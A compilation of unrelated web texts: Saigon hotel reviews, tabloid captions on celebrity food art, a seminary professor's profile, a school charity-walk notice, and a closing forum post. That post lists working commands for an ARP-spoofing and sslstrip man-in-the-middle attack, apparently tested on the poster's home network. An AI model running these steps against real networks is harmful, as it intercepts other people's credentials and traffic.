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Location is ok The room we booked was a disaster, they moved us to the new wing but charged us more for it. The staff were not friendly at all and all they care about is how much tip they will get and th3e service is not great
Tried tol fob us off with a room with no window when we had booked a junior suite with balcony. We insisted on room we had booked and were told we were being given an upgrade. This was a lie as the room we were given was identical to our friends room who had also booked a junior suite. Found renovation a problem as there was a constant small of paint thinners on the passageway to our room which did not help husband who has a lung problem Being in the centre of Saigon
the breakfast buffet was fantastic. beds comfortable,not too hard whuich is great! but you need to cover the bottom part of the mattress ensemble with a 'skirt' or valance cover - looks much more professional .The mattress should not be seen at all. you need to put exhaust fans in the bathrooms.
The location, the room is very comfortable, friendly and attentive staff. The interior is rather old looking and doesn't reflect 5-start hotel.
The roof top bar is a great place to while away time and get a sense of how vibrant the city is. A perfect view of the old Hôtel de Ville and one of the main meeting points in the city. Service is excellent and the breakfast choice is amazing. The style of decoaration is a little dated but this is a minor quiblle. This is a classy hotel.
very good location The hotel is old and rebuilding some parts of the hotel. but nobody told us when we were booking. feel a bit disappointed. but the location is perfect.
the service was excellent the carpet was run out (room 268). it looks shabby.
We stayed on the fourth floor. We were woken up frpm the noise from the restaurant on the fifth floor during the early hours of the morning. The refurbishmnet work also meant overall we suffered from a very noisy stay.
service of the staff
I found the hotel to be one of the best I've stayed at. The check in process was simple and quick (and ready 15 minutes after I made the booking online). The room was well maintained and the staff courtious and attentive. I would have no hesitation booking with this establishment again. Food service was excellent The elevator was a little slow but this was a very minor inconvenience.
For a stay of 5 nights we asked for a twin-bed room quiet and with good light.Our room was a queen-bed room with a no-view window to a backyard, the windowglass was whited, if we opened it we could only see dirty canroofs.The room was on the 4th floor, just under the kitchen or cuproom where breakfast was prepared, everyday before 6.00 am.we were awoken by the sound of the maiden shooes.The room had very bad natural light, in the afternoon we needed to turn lights to be able to read. Brekfast was served till 10, even in the weekend, and 10 minutes before 10.00 they were allready preparing closing.
great position, lovely old building some of the staff very good, some miserable and not good. We had a problem with a taxi that was called in front of the hotel, the security explained where to take us, the driver did not know where to go, afetr driving around for about an hour we went back to the hotel and had to pay full ammount, when we complained about this, with the driver and concierge of the hotel, the concierge did not help us at all and was quite rude and aggresive!
Excellent 5 star hotel with a very French feel about it. Great views of the river from our room but not all rooms have this view. The room was spaceous and exteemly comfortable but the bathroom didn't have a separate shower compartment. You had to shower in the bath. The staff were very helpful and all spoke good English. Excellent breakfast buffet but because it's mostly outdoor seating this is limited if it's raining. Walking distance to most of the city landmarks and some great shopping right outside the hotel. Highly recommended. There were several places where you could get a drink but there was no 'really good' bar.
Central location, helpful staff, excellent breakfast. We were upgraded to a suite without asking for it. nothing to complain about, we were staisfied
its location, the fact that it is an old hotel and has been renewed, it has some history
Friendlyness of the staff and location
Location and ambiance Breakfast ( rich and satisfactory ) being displayed on the rooftop is affected by the sun and flies , not a pleasant sight...
Style, atmosphere Road noise
General ambiance and 'majestic' charm of this colonial styled hotel. Breakfast good quality and varied. All staff very professional. We stayed in the 'new' wing and the room overlooked the main pedestrianised Nguyen Hue. Unfortunately while we were there a stage had been set up for a weekend event - which while not an issue in itself - was a problem as they were practicing until 3:00am at loud and varying noise levels (literally 75dB according to phone app). This highlighted poor noise insulation through the windows of the hotel room.
The hotel is beautiful with excellent staff and amenities. The rooms are lovely and the position is fantastic.
Relax atmosphere,comfort,swimmimg-pool almost nothing,exept the cockroach on the table at the lobby-bar and big rat at the hall ...
A comfortable hotel to say ive stayed at....great great location.
i liked the style and the taste .the people were very friendly especially the people in the bar
Good location. Located on the main shopping street. Size of the room. Noise from outside and next door. They even woke me up during the night. The service and breakfast was just average. Doesnt worth the $$ I paid. There are much better hotels on the same street for nearly the same price.
Location The breakfast can be improoved
location .rooms are good no
We had a "grand suite" ; 100sq m of 1st class accommodation - 2 bedrooms, 2 bathrooms and a large lounge area. Spotlessly clean throughout the hotel . All the staff from the doormen to the waiters could not have been more helpful; always smiling and willing to help. The breakfast choice was top notch, catering for Asian and Western tastes. The hotel also serves lunch and dinner which we enjoyed immensely, with main courses from about £3 to £12 and there are buffets on the 12th floor of the new wing with superb city views. Good length outdoor pool, inexpensive bars and a small "casino", which I didn't use so can't comment on. 7 nights with most meals for 3 (+ up to 4 guests) + extras = $2000. Full marks all round. I've stayed in many hotels and there's usually some niggle, but I can't think of a single adverse point . No noise came through at night, even in its city location.
good location, nice staff, nice swimming pool, lovely place for holiday. the bathroom facility is a little bit old. Airconditioner is a bit noisy
Good location, breakfast choices, helpful staff, good tour options. Avoid rooms overlooking construction projects.
I liked the lobby, pool and gym. The guest room was old and outdated. Carpeting was frayed, bathroom fixtures old, hallways smelled very bad due to overuse of air freshener. I wouldn't stay there again unless guest rooms were completely remodeled.
Eventually we appreciate the staff in remedying an major issue. We booked the hotel for 12/31/2015, in order to celebrate the day and New Year Eve night in a 5 star hotel. When we arrived at the hotel and were informed the pool, which was a major key in our booking this hotel, would be closed to guests due to a New Years Eve party being setup at the pool for that evening. We explained that we booked this hotel in order to enjoy the day pool side and diner that evening. In tradition of the Asian culture, we were told repeatedly that the reason was for the setup for the NYE party that night. As if this explanation would 1) resolve our issue and 2) be an acceptable reason as to not be concerned that we were land locked to our room and not out at the pool. We conveyed that we had contacted the hotel directly, prior to booking to 1) confirm that their was no compensatory costs due to the holiday booking and 2) that we would not have anything excluded that would normally be available to guests at the hotel. Such as any construction, pool and spa access. We were told no issues or restrictions. So we booked. After much heated discussion, at check-in, a manager availed and provided a remedy of allowing us to transport, for pool time, to a lesser quality and star level property at their expense of a taxi. In addition, provided us access to a higher level room and lounge service. However, no offer of access to the New Years Eve party at the pool, unless we paid the $50 fee. We appreciate the effort they made but they went kicking and screaming in providing a remedy. Unless we pushed our unhappiness and not settling on how we should be happy to be lied to about the pool access, before booking, we would have not received the appropriate attention a hotel guest should receive from a 5 star hotel. On another note: The guests, and condoned by the floor management, allowed other guests in the adjacent room, to go in and out, back and forth among the multiple rooms with no respect to the amount of noise they made with doors slamming against the dead bolt constantly for 5 plus hours non-stop. Eventually we appreciate the staff in remedying an major issue. We booked the hotel for 12/31/2015, in order to celebrate the day and New Year Eve night in a 5 star hotel. When we arrived at the hotel and were informed the pool, which was a major key in our booking this hotel, would be closed to guests due to a New Years Eve party being setup at the pool for that evening. We explained that we booked this hotel in order to enjoy the day pool side and diner that evening. In tradition of the Asian culture, we were told repeatedly that the reason was for the setup for the NYE party that night. As if this explanation would 1) resolve our issue and 2) be an acceptable reason as to not be concerned that we were land locked to our room and not out at the pool. We conveyed that we had contacted the hotel directly, prior to booking to 1) confirm that their was no compensatory costs due to the holiday booking and 2) that we would not have anything excluded that would normally be available to guests at the hotel. Such as any construction, pool and spa access. We were told no issues or restrictions. So we booked. After much heated discussion, at check-in, a manager availed and provided a remedy of allowing us to transport, for pool time, to a lesser quality and star level property at their expense of a taxi. In addition, provided us access to a higher level room and lounge service. However, no offer of access to the New Years Eve party at the pool, unless we paid the $50 fee. We appreciate the effort they made but they went kicking and screaming in providing a remedy. Unless we pushed our unhappiness and not settling on how we should be happy to be lied to about the pool access, before booking, we would have not received the appropriate attention a hotel guest should receive from a 5 star hotel. On another note: The guests, and condoned by the floor management, allowed other guests in the adjacent room, to go in and out, back and forth among the multiple rooms with no respect to the amount of noise they made with doors slamming against the dead bolt constantly for 5 plus hours non-stop.
The staff were all very friendly and helpful. They immediately found an opportunity to upgrade us on check in. Although breakfast was a nice feature each day along with some drinks / snacks in the evening, we didn't get our 50usd value out of this. Additionally, we were so looking forward to using the pool, and the First day we got a chance was Friday. Little did we know that the hotel finds more value in charging admission for the locals to come and party by the pool on Fridays than ensuring their paid guests have a pool to use. We could barely walk around the pool let alone find a place to sit and relax. Absolutely a disappointment to to say the least. Would not stay here again.
This hotel is beautiful! the breakfast buffet and room service was great! The pool party Saigon soul was supper fun great music (not for kids). overall cleanliness was up to par. Really happy with the prices I will cook here next time I visit.
Hotel is okay...not a quality hotel; rank 2 to 3 star Poor mattress in room: thin and uncomfortable Rooms not adjoining; tried to change mattress type Disappointed with the travel service Get a Room. Service was dishonest/deceptive and tried to capitalize on my need to change travel dates. Understood rooms were non refundable but found Get A Room made the dates non changeable. Tried to get me to pay for alternate dates and then decide the cancellation policy. Kept travel dates to avoid getting taken advantage. Will not use this service in the future.
They were kind and friendly and tried their best to fulfill my requests. I have seen other hotels during my stay in Ho Chi Minh, and I was glad that I chose to stay here. Perhaps compared to the other hotels, the hotel was located in a slightly far side of the main streets. However, this was not a big problem since things were easily accessible by foot or taxi.
Nice gym and pool. Great breakfasts
nearness to the central district no wi-fi. staff does not know good english.
We were pampered with excellent accommodations and good food plus service. We could have stayed a bit longer, 8 days should have been 10 days!
price of food was too expensive so we decided to skip meals there.
nice hotel and good location
The Location was ok.. Hotel Staff and Room Hygien was an issue
We were very happy with the location, great view of the city and river, great amenities in the hotel, rooftop pool was cool! Great restaurant and decent menu. Service was exceptional. Jacky the Guest Service/Concierge was wonderful, very helpful with local tips and keeping us girls safe! Will definitely stay here again when I'm back. Some updating could be done but we did notice construction was underway on some floors so I'm sure that's happening.
Staff fantastic Nothing
The facilities were great, the staff even better There was water coming down the wall in our room but the staff remedied this by moving us and upgrading us.
Room was very modern Nice rooftop bar Internet was slow. Could not easy have VOIP business call Gym was very limited if you need anything beyond a treadmill/elliptical
Luxury at an amazing low cost. The hotel is newly built so you don't have to worry about bugs and broken furniture. It is situated in District 1, one street down from the tourist street, short cab ride to Ben Thanh Market and Cathedral. The entire staff was friendly, from getting out of our cab upon arrival to checking in, etc. We never went to the bank to exchange money, the hotel provided excellent exchange rates. I definitely recommend this hotel and would stay here again.
The bed was comfortable. The bathtub was glorious with the surrounding windows and light. The gym was okay. For a deluxe room it was cramped (corner unit) and the smallest room on the floor, much smaller than the corner unit across the hall. The power outlets and HDMI connection was hidden in the floor, which I was not able to get Un jammed and open for couple days. No leg room. The colors are drab and grey. The TV didn't really work and the internet was very slow. Room service was also bland and very expensive. Definitely not a 377 sqft room. More like 250.
Nice new hotel with great customer service. Modern rooms with international outlets. Quiet and clean. A short hop to the city center. Great boutique in the lobby selling beautiful scarves. Should have bought more!
Overall everything was quite acceptable Overall everything was quite acceptable
Staff was very friendly and helpful. Their English was very good. The breakfast buffet was very good. The river-side view was nice. The roof-deck pool / bar was nice ... designed more for lounging adults, but was also fine for a dip with young children. Room was a little small.
Just the right everything - size,location,design,professionalism,friendly,fantastic breakfast,perfect pool...... To minor to mention withought a consulting fee :-)
Should avoid stuff walking on the emergency stairs, very noisy for guests who stay next to it, I stay at room no.1808, can still hear people walking up and down at 11pm.
I enjoy everything at this hotel,Beautiful pool on the roof,excellent breakfast,the staff is awesome ,Clean,Modern,Great River View. Reasonably priced for what they offer.I give them 4 star rating!!!! If you are from USA you can stay at this excellent place for the same price as motel 6!!! You will not be sorry when you check into your beautiful room. I have stayed here twice once in 2014 and now 2015.Always the same excellent service and quality. I enjoyed everything
I think it is arguably the best located hotel in HMC. The rooms were large, clean and well serviced and had the biggest bed that I have seen. Nothing worth mentioning but if I want to nitpick then the restaurants are not up there with the best.
This hotel is nice enough and has a fantastic location. We had just stayed in Singapore earlier in the week and thought there was no comparison. If you really want to spoil yourself- try the Park Hyatt right across the street. Everything was good- just not amazing. I might also try New World Hotel or the new Intercontinental. The location for both New World and Intercontinental aren't as good but the Intercontinental is brand new and may have higher standards. I believe the New World is foreign owned and managed. No glass showers, difficult to use key in elevator, room smelled a bit. While they tried, I didn't feel like it was really 5* service.
Size of the room Amenity kit in bathroom Saigon Saigon Bar (Rooftop) -
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The bed is comfy..
Excellent facilities and location. Food is superb. Highly recommended!!! None
Central to business district, restaurants, close to airport and very efficient quality hotel All ok
They need to change the toilet, old old toilet and shower
we liked everything about this hotel
The Hotel Location is very good, very close to shopping malls, easy access to the rest of the city. highly recommended for Business Trip. Hotel staff don't speak good English (very poor pronunciation).. difficult to communicate.
The most enjoyable part of my stay was after checked out and left the building. I am afraid to inform you my stay was quite unsettling, mainly due to the reception and staff being quite unfriendly.
Service oriented, friendly while remaining professional, good selection of services spa, restaurant, bars and reception, free WiFi. Lighting in the bathroom was poor and decor of bathroom is very 90's
Grrrreat breakfast with enough food to eat all day. I wish it was open for lunch and dinner. The fruit is amazing and the omelet station was wonderful. Great tour desk in the lobby. The staff couldn't have been more helpful. The lobby bar is a great place to meet friends and people watch. The bartenders were not trained past the few drinks on their menu. If we ordered something off their limited menu, they weren't able to do it unless we told them how. The concierge had limited knowledge of restaurants other then in the local vicinity with local food. It would have been nice to have options of international cuisine in the down town area.
hotel was very conveniently located. It was clean, comfortable and well maintained.
Great location. Within walking distance to many nice restaurants and local tourist hangouts. Staff at breakfast buffet needs more training. Getting a coffee to go was a big deal as you are only supposed to consume buffet items in the restaurant. Really? For a second cup of coffee that I wanted to walk out with since I was running tight on time. Other staff was very helpful,specially the concierge.
Fantastic service and amenities. Overall, a cool & chic hotel.
the hotel was in a very central location and we felt was good value for the room rate. All staff very very helpful would like breakfast to be continued to later time 10.30am
Good location, decent value for money a little noisy and service (one receptionist in particular) can be improved
Great location, very spacious rooms with nice wooden furniture and luxury decoration
A spacious, character-filled, historic hotel in the perfect location to explore central Saigon. Every hotel we visited in Vietnam shared the same trait - a harder-than-average mattress.
The location is perfect and I liked the colonial style of the hotel (built in 1880). Some facilities could be renewed (e.g. the showers are rather poor). We had to change room twice. The first room (twin beds only) was on the 1st floor and by far too noisy with a window facing the hotel bar. The 2nd room was on the 2nd floor and great with a blacony to the courtyard. However, the shower broke at 3am and we had to change to another room which was not as good as the 2nd one.
The hotel is in a very good position and looks very clean and attractive externally. The bathrooms need updating. Our bathroom was very old and smelled musty.
Very good positioned to explore the City walking. Very big room but quite noisy at night (old windows), bathroom somewhat oldfashioned. Breakfast itself was good in a nice location (patio) which was, hoewver, very noisy due to all the aircon machines.
the concierge very helpfull, wiffi working well and free access even in the room
The main advantage of this hotel is that it is centrally located. And for those who like staying in a hotel full of "history", this is the place, but do not expect service up to international standards. Staff is not really welcoming and behave like civil servants. Rather poor breakfast for this category of hotel.
Historical style hotel (1880) with excellent location (Opera view). Fair value for money. Nothing special except of it's history. No pool.
Helpfulness of the concierge. Convenient location to interesting sights. Outstanding breakfast. Live music in the lobby. Quiet. Nothing.
Location Overall, I have been staying in hotels on business and leisure trips for over 20 years, I have never ever felt so unwelcome as this stay in Sheraton made me feel. To top it all, the manner was unapologetic, rude and ruthless. Some examples below: 1. Staff failed to look me up for the SPG membership, in spite of me being the member. 2. Why did you book for 2 people, who is the second person, tell me the name of your girlfriend, a Vietnamese girl can't be your guest. They kept interrogation about the identity of my girlfriend even when I explained that I am not sure if my girlfriend may want to stay while checking in. They kept insisting that I share the personal information about the girlfriend, breach of PII law in western countries. My lady Vietnamese guests were extremely uncomfortable in coming anywhere near the hotel due to the notoriety in treating them badly by the hotel management staff. 3. Guest Relation Manager and Hotel Director took no action, courtesy upgrade or any other offer when the abuse, discomfort and experience related issues were brought to the attention of the staff in-spite of clearly indicating no intention to break local laws. Was made to feel like a criminal. Even when reminded that I was there customer and am having a bad experience, they asked me to feel free to report whatever I feel in the review and they will not amend or change any of the experience. When asked if I can cancel the booking, they said yes for the full fee, so practically I had no choice but to suffer the stay. 4. Internet is around $17 USD per day if it isn't part of the room rate. If you happened to overlook the internet part, hotel wants you to come down to the sitting area with limited seats to use free wifi. In the day and age of personal devise usage, really sorry to see the over the top internet charges. 5. Very limited western choices for breakfast, breakfast choices not worth the cost. They have a special sitting area for single guests, staff insists that single guests are confined to the designated single guests section. 6. They have a standard procedure for single guests, after 8 pm, they have an escort lady to drop you to the elevator so you can have no guest with you when you go to bed :)
Nice hotel, an oasis in the busy noisey city. Waiting staff were not very polite unlike the rest of the staff.
we would like swimming in the pool and have a breakfast
luxury, convunient, good restarants, excellent service
Location is a 5 minutes taxi ride from main area of town, staff are excellent however the rooms could do with updating a little
I would actually consider this a 'luxury' hotel by HCMC standard. Interior decor and ambience are classy and posh, and pretty well-maintained. Location is a little out of the way from the main city attractions and shopping but the hotel provides half-hourly one-way shuttle bus to the trade tax centre and benthanh market. Definitely not a budget hotel, but worth a stay if you're on a business trip or feeling like pampering yourself.
It was good for the most part Rooms way too small‼‼‼
the middle of the city centre and international standard
Good city hotel. Close enough to city center. Nice pool on the roof.
The greeting from the staff, extremely helpful we relly enjoyed the experience. The change rooms poolside where in a shanbles, very disappointing
Club service with meals all waking hours is great!
Location was quite convenient. The staff was pleasant. The room have distinctive smell of mildew. Got sick from breakfast foods on last day of my stay there.
This hotel is well located in the city, near to the main shopping mall. The food provided by the hotel is also good, not so expensive. As the hotel was fully booked, we were offered a junior suite with access to the club lounge. nothing


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 Splash News / (C) www.splashnews.com Here's some sweet eye candy. San Francisco based Pop Artist Jason Mecier spent over 50 hours creating this portrait of a topless Channing Tatum (aka "Magic Mike") from over 5,000 Mike and Ike brand candies. The life-sized likeness of Tatum is created from several different flavours: His lips are RED RAGEOUS, His Belly Button is a BERRY BLAST, His nipples are TANGY TWISTERS and his collar, cuffs and underwear are LEMONADE BLENDS.
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 Splash News/Marikasurinen.com / (C) www.splashnews.com A portrait of Kate Middleton made entirely from lipstick kissed onto a canvas. The picture, which is on display at Ripley's Believe It Or Not! in London, was created by American Natalie Irish. The artist made the portrait entirely from lipstick which was applied to the canvas by kissing it. It took her more than three weeks to create.
 Jeff Moore / Splash News / (C) www.splashnews.com Here's a portrait of tragic singer Amy Winehouse - made from prescription drugs. It was created by Miss Bugs, a group of contemporary artists making art with mixed media. The artwork - titled Stronger Than Them - uses hundreds of colorful pharmaceuticals to make her face. Winehouse was found dead at her London home in 2011 at the age of 27. She died of alcohol poisoning. The star long battled well documented drug abuse problems.
 Splash/Miss Bugs / (C) www.splashnews.com Here's a portrait of Kevin Bacon, made entirely from bacon. US artist Jason Mecier created the likeness of the Hollywood actor using 15 lbs [pounds] of the meat. The lighter sections, such as the skin on the 54-year-old 'Footloose' star's face, were made with raw bacon, while cooked bacon was used to create the darker parts of the artwork. Glue keeps the meat from falling off. Jason explained: "I used burnt bacon for the shading and uncooked fatty bits for the light tones on his face.
 Splash News/Jason Mecier / (C) www.splashnews.com 'Twilight' fans can find an a-maze-ing vampire surprise in a U.S cornfield. A farm in Utah has paid tribute to the hit movie with a Twilight-themed maze. The maze at Black Island Farm in Syracuse, Utah, features a Team Jacob maze and a Team Edward maze. It also features the lettering reading 'New Moon 11-20-09' promoting the second 'Twilight' movie in which Bella can choose Edward, played by Robert Pattinson, or Jacob, played by Taylor Lautner.
 Graeme Massie / Splash News / (C) www.splashnews.com A nutty artist has hit on a way to earn a lot more than peanuts - making celebrity models out of his favourite snack. Father-of-two Steve Casino, 47, spends 15 to 20 hours carefully crafting each salted, shelled nut into the world's most famous faces, including Willie Nelson.
Solent News / Splash News / (C) www.splashnews.com Here's a portrait of New York Yankees baseball ace, Alex Rodriguez made out of credit cards, money and diamonds. Pop artist Jason Mecier has just unveiled the A-Rod artwork, the latest in his series of celebrity figures.
Splash/Jason Mecier / (C) www.splashnews.com A sculpture of Burning Love singer Elvis Presley has been made out of 50,000 matchsticks. It took the artist, David Mach, more than 500 hours to do and has just sold for £18,000.
 the DPC/Splash News / (C) www.splashnews.com Princess Diana watches over Prince William and wife Kate in this painting to celebrate the royal couple's visit to California. Diana is seen looking down on the couple 'from her place among the angels' in the painting 'Ordinary People, William and Kate' by LA celebrity artist, Steven Vaughan.
 Splash News / (C) www.splashnews.com Sandhi Schimmel Gold, 56, may be the world's only artist to use junk mail as her medium - and her celebrity clients love her work. The Arizona resident collects every scrap of paper that flops onto her map and meticulously reforms them into intricate, mosaic-style portraits. Here's Jimmi Hendrix recreated in menus, flyers and more.
 Sandhi Schimmel Gold/Splash / (C) www.splashnews.com Royal Jelly! A new jam made with Princess Diana's hair has gone on sale in the U.K. The creepy condiment called 'occult jam' is being sold in ��£5 ($7) jars as part of a surrealist art exhibition on show at London's Barbican Art Gallery. Makers Bompas and Parr claim each pot of the preserve - part art and part food - contains a speck of Princess Diana's hair.
 Splash / Bompas and Parr / (C) www.splashnews.com US artist Jason Mecier has created these portraits of some of the world's most famous movie characters from licorice - including Harry Potter.
 Splash News/Jason Mecier / (C) www.splashnews.com Spain-based art collective, "Hungry Castle" is trying to raise money online to bring a giant sculpture of Lionel Richie's Head to the Bestival four-day festival on the Isle of Wight in the UK in September. They say they need 4,900 GBP pounds [approx $7500 USD] to make the nine foot high artwork, which depicts the pop star. Inside the head will be a phone that will play the message,'Hello, is it me you're looking for?
Splash News/Hungry Castle / (C) www.splashnews.com At Mount Rushmore you will see Jefferson, Roosevelt, Lincoln and Washington but on this British beach it's David Beckham and Harry Styles from One Direction. The La Galaxy football player and boy band singer have their heads in the sand for this celebrity sculpture made on a Beach in South England. The temporary monument was made by artist Mark Anderson after Lynx care hair products conducted a poll for best and worst hair in the UK.
 Lynx / Splash / (C) www.splashnews.com Here's Burt Reynolds as you've never seen him before - lying atop a chocolate eclair. The American screen star has been turned into the sweet cream-filled pastry treat by a baker based in the UK. The bizarre creation features the 77-year-old Boogie Nights star in a mock-up of his famous Cosmopolitan magazine centerfold spread from 1972 in which he posed naked on a bearskin rug.
 Splash/Miss Insomnia Tulip / (C) www.splashnews.com US artist Daniel Edwards has unveiled this new sculpture - that is said to show Kim Kardashian and Kate Middleton's unborn babies. The bizarre work is meant to depict the two women's fetuses/ foetuses in what is meant to be a commentary on the obsession with celebrity kids. It is titled 'Special K and Little Grape'.
 Splash News/Daniel Edwards / (C) www.splashnews.com 'Painter of Pancakes' Dan Lacey has turned his attention to Miami Heat star LeBron James. The bizarre artwork shows the basketball ace being pelted with pancakes. It comes as the Miami Heat won the NBA Finals, beating the Oklahoma City Thunder.
 Splash News/Dan Lacey /(C) www.splashnews.com Here's sexy singer Mariah Carey looking picture perfect in a unique portrait made from make-up. The amazing image was created using beauty essentials like lipstick and eyeliner by American mosaic artist Jason Mecier.
 Jason Mecier/Splash News / (C) www.splashnews.com It's already possible to clone a pet so why not Lady Gaga, Barack Obama or even Jesus? Human cloning isn't possible yet but it can be possible to duplicate part of a person's chemical make-up by being cultivated with yeast. Artist and writer Jonathon Keats is hoping to metabolically copy Gaga, Obama, Michael Phelps, Oprah Winfrey and Jennifer Lopez by gathering information about their diet and lifestyle
 Jonathon Keats / Splash / (C) www.splashnews.com Chicago-based artist Katherine Kalnes has created a pancake breakfast of President Barack Obama riding an eagle. Each pancake takes up to eight hours to make, and Katherine has been perfecting her technique over the last two months.
 Splash News/Katherine Kalnes / (C) www.splashnews.com It's the beauty and the beasts. US-based artist Daniel Edwards has created this life-size sculpture of film stunner Scarlett Johansson topless - with just two zombie heads protecting her modesty. Edwards said he created the creepy artwork in a bid to get Hollywood to stop portraying the undead as terrifying creatures.
 Splash News/Daniel Edwards / (C) www.splashnews.com Chicago-based artist Katherine Kalnes has transformed the humble pancake into some of the biggest stars on the planet. The 25-year-old uses kitchen tools to recreate celebs into pancakes like comedienne Ellen DeGeneres. Each pancake takes up to eight hours to make, and Katherine has been perfecting her technique over the last two months.
 Splash News/Katherine Kalnes / (C) www.splashnews.com These stars look to good enough to eat - some of the world's best known faces have been recreated as fruit salad portraits. Marilyn Monroe, the Queen and Posh Spice Victoria Beckham (pictured) all feature in the bizarre artwork which was commissioned by dairy company Muller to raise money for the Cancer Research UK charity.
 Muller/Splash News / (c) www.splashnews.com Here's Michael Douglas playing Liberace - made entirely out of candy. The actor, who stars as the flamboyant pianist in new flick 'Behind the Candelabra', has been recreated by pop artist, Jason Mecier. He used more than 4,000 pieces of Mike & Ike candy to create the artwork.
 Splash News/Jason Mecier / (C) www.splashnews.com Duck Dynasty star Phil Robertson is the subject of a new 'phallic' sculpture by US artist Daniel Edwards. Robertson, whose homophobic comments in a recent magazine interview sparked calls for his hit TV show to be yanked off the air, 'features a likeness of Robertson's head and shaft-formed beard positioned over two spherical shaped ducks' heads', according to Edwards. It depicts him wearing a thorny-crowned pattern on his headband, and the ducks hold a saddened expression with the Marriage Equality symbol
Splash/Daniel Edwards / (C) www.splashnews.com With the streets beginning to fill with autumn leaves, one artist has found a novel use for them. Creative Victor Liu keeps the leaves for a year until they are dry before spending days painstakingly carving beautiful pictures into them. The carving process takes about 30 days. With the precision of a surgeon, Victor carefully cuts and sculpts the surface of the leaves to reveal images of Barack Obama, Marilyn Monroe and the Mona Lisa.
Solent News / Splash News / (C) www.splashnews.com A Finnish artist has given My Little Pony a Hollywood makeover. Mari Kasurinen has turned the pint-sized plastic horses into a range of famous movie characters and music stars. Her artwork includes Lady Gaga, Pirates of the Caribbean hero Jack Sparrow, Darth Vader, Princess Leia, Batman and Robin and Elvis Presley.
Splash News/Marikasurinen.com / (C) www.splashnews.com You "woodn't" believe what artist Steven Backman does with his spare time. The craftsman who admits he has the patience of a saint spends days on end crafting tiny celebrity look-alikes using thousands of Toothpicks. US president George W Bush and chat show king David Letterman are just two of the stars he has pain stakingly reproduced.
Splash News / (C) www.splashnews.com The former First Lady has been turned into a bizarre 8-inch Hillary Nutcracker, which costs $24.99. The Hillary cracker, which comes with steel-lined legs, was created by Minnesota businessmen Frank Freeman and Gibson Carothers.
 Splash News / (C) www.splashnews.com Get your celebrity filling... with a tooth tattoo! This awesome body art lets you share your smile with your favorite celebrity. The tooth tats are hand painted onto crowns by an artist and can last a lifetime in your mouth.
Splash News / (C) www.splashnews.com Gorgeous Marilyn Monroe looks sweet enough to eat in this mosaic of the Hollywood screen legend. And if you look a little closer you will see the film star is made up of thousands of jelly beans. Artist Malcolm West spent six days sorting Jelly Belly beans by colour, gluing them into place and applying a coat of varnish. The 4ft by 4ft work is now on display in a sweet shop in Totton, near Southampton, Hants.
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Michael S. Lawson
Senior Professor of Educational Ministries and Leadership; Coordinator of the Doctor of Educational Ministry degree
BBA, University of North Texas, 1965; ThM, Dallas Theological Seminary, 1969; PhD, Oklahoma University, 1983.
Dr. Lawson invested seventeen years in pastoral work and Christian education before returning to teach at DTS in 1986. His special concern for Christian education in the developing world has guided his international preaching and teaching schedule to scores of countries around the world. In recent years numerous international Bible colleges and seminaries have requested his help in curriculum design and faculty development. His recent focus has been on developing the Family Ministry, Advanced Academic Ministry, and Chinese cohorts within the Doctor of Educational Ministry Degree program.
- EML101 - Introduction to Educational Ministries and Leadership
- EML102 - History & Philosophy of Christian Education
- EML103 - Teaching Process
- EML205 - Small Group Process in Ministry
- EML215 - Teaching in Christian Higher Ed
- EML505-1 - The Christian Home: Dynamics of a Christian Marriage
- EML505-3 - The Christian Home: Dynamics of a Christian Family
- EML515 - Family Life Education
- DM103 - Applied Research Project
- DM305 - Select Topics of CE Issues in Today's Ministry
- DM315 - Creative Problem Solving
- DM340 - Strategic Resource Development
- DM420 - Creativity in Ministry
- WM405 - CE in Intercultural Contexts
Righteousness: An All Purpose Word 05/02/2013 What I've Learned About Love 09/01/2010 Weighed and Found Wanted? 04/16/2008
- The Professor's Puzzle: Teaching in Christian Academics: B&H Academic: 2015
- Grandpa Mike Talks About God: CF4Kids: 2007
- The Christian Educator's Handbook on Children's Ministry : Reaching and Teaching the Next Generation: Baker: 1998
- The Self Guided Church Consultant: Self-published: 1998
- The Complete Handbook for Children's Ministry : How to Reach and Teach the Next Generation from Birth to Age 12: Thomas Nelson: 1993
- Directing Christian Education : The Changing Role of the Christian Education Specialist: Moody: 1992
- "Old Testament Teachings on the Family" in A Theology for Family Ministry B&H Academic: 2011
- "Education in the Epistles" in Evangelical Dictionary of Christian Education Baker Academic: 2001
- "Biblical Foundations for a Philosophy of Teaching" in The Christian Educator's Handbook on Teaching Baker Books: 2000
- "Teaching in the Community" in The Christian Educator's Handbook on Teaching Baker Books: 2000
- "Teaching in the Church" in The Christian Educator's Handbook on Teaching Baker Books: 2000
- "Illustrations of Effective Church Education with Adults" in The Christian Educator's Handbook on Adult Education Baker Books: 1993
- "Managing the Classroom Experience" in Christian Education: Foundations for the Future Moody Publishers: 1991
- Lawson, Michael S., "Howard G. Hendricks–A Biographical Sketch." Christian Educators of the 20th Century (2009).
- Lawson, Michael S., "Kenneth O. Gangel-A Biographical Sketch." Christian Educators of the 20th Century (2009).
- Lawson, Michael S., "Kenneth O. Gangel: A True Educational Leader." Christian Education Journal 1, no. 2 (2004). 45-53.
- Lawson, Michael S., "Howard Hendricks: A Teacher Who Changes Lives." Christian Education Journal 1, no. 2 (2004). 63-71.
- Lawson, Michael S., "Look Who's Going to Seminary." Christianity Today 41, no. 2 (1997). 104-135.
- Lawson, Michael S., "The Sunday School and the Great Commission." Gospel Herald and The Sunday School Times (1992).
- Lawson, Michael S., "Christian Camping: Decompression for Pressured Kids." Christian Education Today (1987).
- Lawson, Michael S., "NADCE: Building on Its Past, Looking Toward the Future." Christian Education Today (1987).
- Lawson, Michael S., "Disciplining Children at Church." Christian Education Today (1986).
- Lawson, Michael S., "Adult Ministries—An Indirect Approach." Christian Education Today (1985).
Academic Interests
- Philosophy and practice of Christian Education


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ONTARIO - Ontario and Chaffey high schools will be co-hosting its first "CATWALK" to raise money for homeless and students in need.
The "CATWALK" is today from 3:30 p.m.- 5:30 p.m. The walk will start at Ontario High School from Francis to Euclid to De Anza Park and back to OHS. The goal is to raise $6,000 for the students.
Seniors are selling $5 tickets to participate in the walk. If you are interested in doing the walk with the students staff and parents or donate, contact Jennifer Munoz at email@example.com.


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I set up sslstrip on BT4 and it worked absolutely fine the first time (on my own home network). Set up is two laptops, attacker and victim.
The commands are:
cd sslstrip-0.7
echo 1 > /proc/sys/net/ipv4/ip_forward
(in other shell window)
arpspoof -i eth0 -t 192.168.2.5 192.168.2.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
python sslstrip.py -w logfile
